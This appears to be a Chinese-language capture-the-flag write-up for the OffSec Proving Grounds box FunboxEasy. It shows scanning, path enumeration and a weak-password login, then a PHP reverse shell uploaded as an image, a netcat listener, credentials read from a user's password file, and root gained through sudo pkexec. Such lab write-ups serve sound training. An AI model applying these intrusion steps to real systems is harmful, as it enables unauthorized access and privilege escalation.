OSCP - Proving Grounds -FunboxEasy

主要知识点

• 弱密码
• 路径枚举
• 文件上传

具体步骤

首先是nmap扫描一下，虽然只有22，80和3306端口，但是事情没那么简单

Nmap scan report for 192.168.125.111
Host is up (0.45s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b2:d8:51:6e:c5:84:05:19:08:eb:c8:58:27:13:13:2f (RSA)
|   256 b0:de:97:03:a7:2f:f4:e2:ab:4a:9c:d9:43:9b:8a:48 (ECDSA)
|_  256 9d:0f:9a:26:38:4f:01:80:a7:a6:80:9d:d1:d4:cf:ec (ED25519)
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
| http-robots.txt: 1 disallowed entry 
|_gym
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000

枚举一下80端口的路径，有admin,secret,store, robots.txt(里面包含了一个gym路径)

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.125.111
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   502,404,429,503,400
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/admin                (Status: 301) [Size: 318] [--> http://192.168.125.111/admin/]
/robots.txt           (Status: 200) [Size: 14]
/secret               (Status: 301) [Size: 319] [--> http://192.168.125.111/secret/]
/server-status        (Status: 403) [Size: 280]
/store                (Status: 301) [Size: 318] [--> http://192.168.125.111/store/]
Progress: 20476 / 20477 (100.00%)
===============================================================
Finished
===============================================================

我首先试验的是admin,有sql注入漏洞，但是admin身份登录进去以后我没发现太多有价值的线索，之后把注意力转移到了store页面，利用了弱密码admin/admin登录成功

这里随意选了一本书作为实验对象，尝试上传修改过的php reverse shell文件，没有报错，如果发现sql语句报错的情况，可以直接把 Author Title Publisher都改成Test，避免特殊字符过滤的问题

依次点击Change ->Confirm之后，回到书籍列表和书籍信息页面，发现这时候图片已经显示不出来了，这时单机Open Image in New Tab ,会触发反弹shell

C:\home\kali\Documents\OFFSEC\play\FunboxEasy> nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.241] from (UNKNOWN) [192.168.125.111] 47924
Linux funbox3 5.4.0-42-generic #46-Ubuntu SMP Fri Jul 10 00:24:02 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux00:32:28 up 35 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

sudo -l和find / -type f -perm -4000 2>/dev/null都没有什么线索，但是发现了第一个flag和一些密码

www-data@funbox3:/$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 2 tony tony 4096 Oct 30  2020 tony
www-data@funbox3:/$ cd /home/tony
ls cd /home/tony
www-data@funbox3:/home/tony$ -lart
ls -lart
total 24
-rw-r--r-- 1 tony tony  807 Feb 25  2020 .profile
-rw-r--r-- 1 tony tony 3771 Feb 25  2020 .bashrc
-rw-r--r-- 1 tony tony  220 Feb 25  2020 .bash_logout
drwxr-xr-x 3 root root 4096 Jul 30  2020 ..
-rw-rw-r-- 1 tony tony   70 Jul 31  2020 password.txt
drwxr-xr-x 2 tony tony 4096 Oct 30  2020 .
-rw------- 1 tony tony    0 Oct 30  2020 .bash_history
www-data@funbox3:/home/tony$ cat password.txt
cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: [e-mail] admin
www-data@funbox3:/home/tony$ ls -l /var/www
ls -l /var/www
total 8
drwxr-xr-x 6 root     root     4096 Jul 31  2020 html
-rw-r--r-- 1 www-data www-data   33 Nov 17 23:59 local.txt
www-data@funbox3:/home/tony$ cat /var/www/local.txt
cat /var/www/local.txt
229c09619f54bfc769d3d6ad1c8aadb3
www-data@funbox3:/home/tony$ 

尝试用ssh 那行的密码试验登录tony用户，成功

C:\home\kali\Documents\OFFSEC\play\FunboxEasy> ssh tony@192.168.125.111        
The authenticity of host '192.168.125.111 (192.168.125.111)' can't be established.
ED25519 key fingerprint is SHA256:sMY2EwBNywi3V/cmpdMCtvcC6NM31k0H9CTRlsxALfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.125.111' (ED25519) to the list of known hosts.
tony@192.168.125.111's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information as of Mon Nov 18 00:34:33 UTC 2024System load:  0.02              Processes:               157Usage of /:   76.1% of 4.66GB   Users logged in:         0Memory usage: 67%               IPv4 address for ens256: 192.168.125.111Swap usage:   0%......
......tony@funbox3:~$ 

查看tony用户的sudo -l，发现了很多，挨个试验一下

tony@funbox3:~$ sudo -l
Matching Defaults entries for tony on funbox3:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser tony may run the following commands on funbox3:(root) NOPASSWD: /usr/bin/yelp(root) NOPASSWD: /usr/bin/dmf(root) NOPASSWD: /usr/bin/whois(root) NOPASSWD: /usr/bin/rlogin(root) NOPASSWD: /usr/bin/pkexec(root) NOPASSWD: /usr/bin/mtr(root) NOPASSWD: /usr/bin/finger(root) NOPASSWD: /usr/bin/time(root) NOPASSWD: /usr/bin/cancel(root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh

最终发现 pkexec是关键
 

tony@funbox3:~$ sudo /usr/bin/pkexec  /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/proof.txt
dc029f6c7e590b0b07d804c2a655ef52